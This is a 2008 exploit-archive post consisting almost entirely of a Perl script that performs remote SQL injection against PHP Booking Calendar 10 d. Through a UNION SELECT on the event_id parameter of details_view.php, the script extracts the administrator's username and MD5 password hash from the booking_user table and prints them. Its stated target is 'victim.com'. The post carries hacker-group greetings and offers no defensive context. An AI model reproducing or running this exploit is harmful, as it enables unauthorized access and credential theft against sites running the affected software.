phpbook-sql.txt
Posted on 31 May 2008
# Portal :PHP Booking Calendar 10 d (sql/upload) Exploit # Modified 2008 # Download : https://sourceforge.net/project/showfiles.php?group_id=132702 # exploit aported password crypted ######################################## #[*] Founded & Exploited by : Stack #[*] Contact: Ev!L =>> see down #[*] Greetz : Houssamix & Djekmani & Jadi & iuoisn & Str0ke & All muslims HaCkeRs :) ################################################################################ #!/usr/bin/perl -w ######################################## # * TITLE: PerlSploit Class # * REQUIREMENTS: PHP 4 / PHP 5 # * VERSION: v.1 # * LICENSE: GNU General Public License # * ORIGINAL URL: http://www.v4-Team/v4.txt # * FILENAME: PerlSploitClass.pl # * # * CONTACT: Wanted : # * THNX : AllaH # * GREETZ: Houssamix & Djekmani ######################################## #----------------------------------------------------------------------------# ######################################## system("color 02"); print " ############################################################ "; print " # PHP Booking Calendar 10 d - Remote SQL Inj Exploit # "; print " # by Stack # "; print " ############################################################ "; ######################################## #----------------------------------------------------------------------------# ######################################## use LWP::UserAgent; die "Example: perl $0 http://victim.com/path/ " unless @ARGV; system("color f"); ######################################## #----------------------------------------------------------------------------# ######################################## #the username of news manages $user="username"; #the pasword of news manages $pass="passwd"; #the tables of news manages $tab="booking_user"; $fil="details_view.php"; $varo="event_id"; ######################################## #----------------------------------------------------------------------------# ######################################## $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); ######################################## #----------------------------------------------------------------------------# ######################################## $host = $ARGV[0] . "/".$fil."?".$varo."=-1+union+all+select+1,1,concat_ws(char(58),char(58),".$user.",char(58),char(58),char(58),char(58)),1,1,1,1,1,1,".$pass.",1,1,1 from+".$tab."/*"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; ######################################## #----------------------------------------------------------------------------# ######################################## if ($answer =~ /::(.*?)::::/){ print " Brought to you by v4-team.com... "; print " [+] Admin User : $1"; } ######################################## #----------------------------------------------------------------------------# ######################################## if ($answer =~/([0-9a-fA-F]{32})/){print " [+] Admin Hash : $1 "; print " # Exploit has ben aported user and password hash # ";} else{print " [-] Exploit Failed... ";} ######################################## #-------------------Exploit exploited by Stack --------------------# ########################################
